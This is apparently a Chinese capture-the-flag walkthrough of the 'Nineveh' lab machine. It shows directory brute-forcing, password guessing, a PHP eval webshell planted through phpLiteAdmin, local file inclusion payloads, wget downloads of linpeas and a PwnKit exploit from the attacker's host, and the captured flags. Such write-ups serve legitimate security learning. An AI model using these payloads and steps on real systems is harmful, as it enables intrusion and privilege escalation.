OS:Linux
DIFFICULTY:Medium
0x01 信息收集
端口扫描:80、443,这个靶场估计是从web打点进入了
naabu -host 10.10.10.43 -Pn -tp 1000 -nmap-cli 'nmap -sV'
绑定hosts
echo '10.10.10.43 nineveh.htb' >> /etc/hosts
80端口
443端口
话不多说,直接开始扫目录,分别对80端口和443端口进行目录扫描
80端口:
dirsearch -u http://nineveh.htb/ -e *
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: 公共 | HTTP method: GET | Threads: 30 | Wordlist size: 9009
Output File: /root/.dirsearch/reports/nineveh.htb/-_23-04-03_23-47-33.txt
Error Log: /root/.dirsearch/logs/errors-23-04-03_23-47-33.log
Target: http://nineveh.htb/
[23:47:34] Starting:
[23:47:42] 403 - 300B - /.htaccess.bak1
[23:47:42] 403 - 297B - /.ht_wsr.txt
[23:47:42] 403 - 300B - /.htaccess.orig
[23:47:42] 403 - 300B - /.htaccess.save
[23:47:42] 403 - 300B - /.htaccess_orig
[23:47:42] 403 - 302B - /.htaccess.sample
[23:47:42] 403 - 301B - /.htaccess_extra
[23:47:42] 403 - 298B - /.htaccess_sc
[23:47:43] 403 - 299B - /.htaccessOLD2
[23:47:43] 403 - 300B - /.htpasswd_test
[23:47:43] 403 - 291B - /.html
[23:47:43] 403 - 296B - /.htpasswds
[23:47:43] 403 - 297B - /.httr-oauth
[23:47:43] 403 - 298B - /.htaccessBAK
[23:47:43] 403 - 298B - /.htaccessOLD
[23:47:43] 403 - 290B - /.htm
[23:47:45] 403 - 290B - /.php
[23:47:45] 403 - 291B - /.php3
[23:48:23] 200 - 178B - /index.html
[23:48:25] 200 - 83KB - /info.php
[23:48:42] 403 - 299B - /server-status
[23:48:42] 403 - 300B - /server-status/
发现存在phpinfo
页面
http://nineveh.htb/info.php
443端口:
dirsearch -u https://nineveh.htb/ -e *
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: 公共 | HTTP method: GET | Threads: 30 | Wordlist size: 9009
Output File: /root/.dirsearch/reports/nineveh.htb/-_23-04-03_23-44-24.txt
Error Log: /root/.dirsearch/logs/errors-23-04-03_23-44-24.log
Target: https://nineveh.htb/
[23:44:25] Starting:
[23:44:35] 403 - 298B - /.ht_wsr.txt
[23:44:35] 403 - 301B - /.htaccess.bak1
[23:44:35] 403 - 301B - /.htaccess.orig
[23:44:35] 403 - 301B - /.htaccess.save
[23:44:35] 403 - 303B - /.htaccess.sample
[23:44:35] 403 - 302B - /.htaccess_extra
[23:44:35] 403 - 301B - /.htaccess_orig
[23:44:35] 403 - 299B - /.htaccess_sc
[23:44:35] 403 - 299B - /.htaccessBAK
[23:44:35] 403 - 299B - /.htaccessOLD
[23:44:35] 403 - 300B - /.htaccessOLD2
[23:44:35] 403 - 292B - /.html
[23:44:35] 403 - 291B - /.htm
[23:44:35] 403 - 301B - /.htpasswd_test
[23:44:35] 403 - 297B - /.htpasswds
[23:44:35] 403 - 298B - /.httr-oauth
[23:44:37] 403 - 291B - /.php
[23:44:37] 403 - 292B - /.php3
[23:45:14] 301 - 309B - /db -> https://nineveh.htb/db/
[23:45:14] 200 - 11KB - /db/
[23:45:14] 200 - 11KB - /db/index.php
[23:45:23] 200 - 49B - /index.html
[23:45:45] 403 - 300B - /server-status
[23:45:45] 403 - 301B - /server-status/
根据dirsearch扫描结果,发现存在phpLitAdmin v1.9
登录页面
https://nineveh.htb/db/index.php
先搜一波phpLiteAdmin的历史漏洞
searchsploit phpLiteAdmin 1.9
0x02 漏洞利用
尝试使用默认口令admin
登录失败
先跑一波弱口令,好家伙竟然爆破成功了,密码:password123
接下来,利用一波PHPLiteAdmin 1.9.3 - Remote PHP Code Injection
漏洞
漏洞详情:https://www.exploit-db.com/exploits/24044
该漏洞是由于PHPLiteAdmin未正确验证用户输入的数据库名称所致。攻击者可以向PHPLiteAdmin发送恶意请求,其中包含特制的数据库名称,该名称包含恶意PHP代码。当PHPLiteAdmin尝试连接到包含恶意数据库名称的SQLite数据库时,恶意代码将被执行。
1.创建数据库,命名为:shell.php
2.点击shell.php
,然后点击SQL
,输入以下SQL语句,创建数据表a
,并插入一句话木马
CREATE TABLE 'a' ('data' TEXT default '<?php @eval($_POST[1]);?>')
3.执行sql成功
好家伙,这都弄完了才发现这个漏洞要配合本地文件包含,php文件被保存在/var/tmp
目录下面了,没办法直接访问到,这该怎么办呢?
总感觉80端口只扫描出来phpinfo页面,好像也没什么有用的信息,可能是第一波扫描用的字典不够全面,我准备加载dirb的big.txt
字典再扫描一波
gobuster dir -u http://nineveh.htb/ -w /usr/share/wordlists/dirb/big.txt -t 30
果然,还真有新发现,发现80端口存在目录/department
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nineveh.htb/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/04/04 01:42:04 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/department (Status: 301) [Size: 315] [--> http://nineveh.htb/department/]
/server-status (Status: 403) [Size: 299]
Progress: 20466 / 20470 (99.98%)
===============================================================
2023/04/04 01:44:44 Finished
===============================================================
直接访问该目录,会跳转至login.php
http://nineveh.htb/department/login.php
遇到这种较难分辨CMS的系统,先查看前端源代码,可能会有意外收获
@admin! MySQL is been installed.. please fix the login page! ~amrois
根据这段注释,我们能得到以下信息:
- 该网站使用了mysql数据库
- 存在管理员账号admin
- 可能存在普通用户amrois
经过测试,也确实存在admin用户,当用户名存在时页面会提示密码错误,否则会提示用户名错误
接下来尝试进行SQL注入
admin'
admin''
admin'+or+'1'='1
admin'+or+'1'='2
# 返回均为正常页面,判断不存在sql注入漏洞
接下来尝试爆破弱口令
哇塞,我想说我的字典是真的强大,再一次爆破弱口令成功了,密码:1q2w3e4r5t
登录系统后的页面:
http://nineveh.htb/department/manage.php
访问Notes页面,根据URL进行分析,此处可能存在本地文件包含漏洞
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt
然后,在此处使用以下payload尝试进行本地文件包含,页面显示均为:No Note is selected.
/etc/passwd
../../../../../etc/passwd
..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
/var/www/html/info.php
有点难受,经过尝试,发现在默认路径的前面加上/
会产生报错信息
http://nineveh.htb/department/manage.php?notes=/files/ninevehNotes.txt
接着又执行以下payload,发现页面仍能正常去读取,产生报错信息并输出
http://nineveh.htb/department/manage.php?notes=../../../files/ninevehNotes.txt
继续访问以下目录,仍然能正常产生读取的报错信息
http://nineveh.htb/department/manage.php?notes=/etc/passwd/ninevehNotes.txt
根据不断的测试,分析此处文件包含功能点:在后台代码中对ninevehNotes
进行了校验,即不管读取的是什么目录的文件,文件的名字必须是ninevehNotes
,否则就读取失败
http://nineveh.htb/department/manage.php?notes=/etc/passwd/ninevehNotes # 页面正常读取报错
http://nineveh.htb/department/manage.php?notes=/etc/passwd/nineveh1Notes # 不执行读取页面
接下来,思考如何利用这个有限制的文件包含漏洞配合PHPLiteAdmin的远程代码注入漏洞完成getshell
思路:
- 在PHPLiteAdmin系统中创建
ninevehNotes.php
数据库 - 写入一句话木马
- 利用本地文件包含漏洞,去包含
/var/tmp/ninevehNotes.php
- 使用蚁剑连接webshell
实践:
1.创建ninevehNotes.php
数据库
2.创建数据表,插入一句话木马数据
<?php @eval($_POST[1]);?>
Path to database: /var/tmp/ninevehNotes.php
3.利用本地文件包含漏洞,包含ninevehNotes.php
文件
http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php
4.使用蚁剑进行连接,需要配置请求信息的headers,填写Cookie信息
测试连接
接下来获取user的flag
find / -name "user.txt"
结果发现没有权限访问,没办法,只能先提权了
cat /home/amrois/user.txt
0x03 权限提升
上传提权工具linpeas到/tmp
目录
wget http://10.10.14.18:1111/linpeas -O /tmp/linpeas
程序运行后会过一段时间才会打印结果,需要稍等一会
cd /tmp
chmod +x linpeas
./linpeas
检测结果很多很全面,不过我们只需要关注以下两个点就可以了
-
CVEs Check
-
Executing Linux Exploit Suggester - Exposure: highly probable
接下来我们使用CVE-2021-4034
进行提权操作
github项目地址:https://github.com/berdav/CVE-2021-4034
提权详细步骤:
1.在靶机中查看ldd的版本信息
$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu5) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
2.运行具有相同ldd版本的docker镜像
docker run -it ubuntu:16.04 bash
3.安装编译器和库文件,解压缩文件
apt-get update
apt-get install -y build-essential,unzip
4.将zip上传至docker镜像tmp目录
docker cp CVE-2021-4034.zip 36e6b0192ec6:/tmp
5.解压缩zip
unzip CVE-2021-4034.zip
6.编译程序
cd /tmp/CVE-2021-4034
make
7.重新打包
cd /tmp
tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034/
8.将打包好的压缩包cp到本地
docker cp 36e6b0192ec6:/tmp/CVE-2021-4034.tar.gz .
9.本地开启python,靶机wget下载
python3 -m http.server 1111
wget http://10.10.14.18:1111/CVE-2021-4034.tar.gz -O /tmp/CVE-2021-4034.tar.gz
10.靶机解压并运行
cd /tmp
tar -xzvf CVE-2021-4034.tar.gz
cd /CVE-2021-4034
chmod +x cve-2021-4034
./cve-2021-4034
whoami
接下来,分别获取user
和root
的flag
cat /home/amrois/user.txt
cat /root/root.txt
user flag:
e1e3cd5d3cbca89e17da3a1b33156f1c
root flag:
cc5b73a8f0b17a2862cdd9f04fdb8420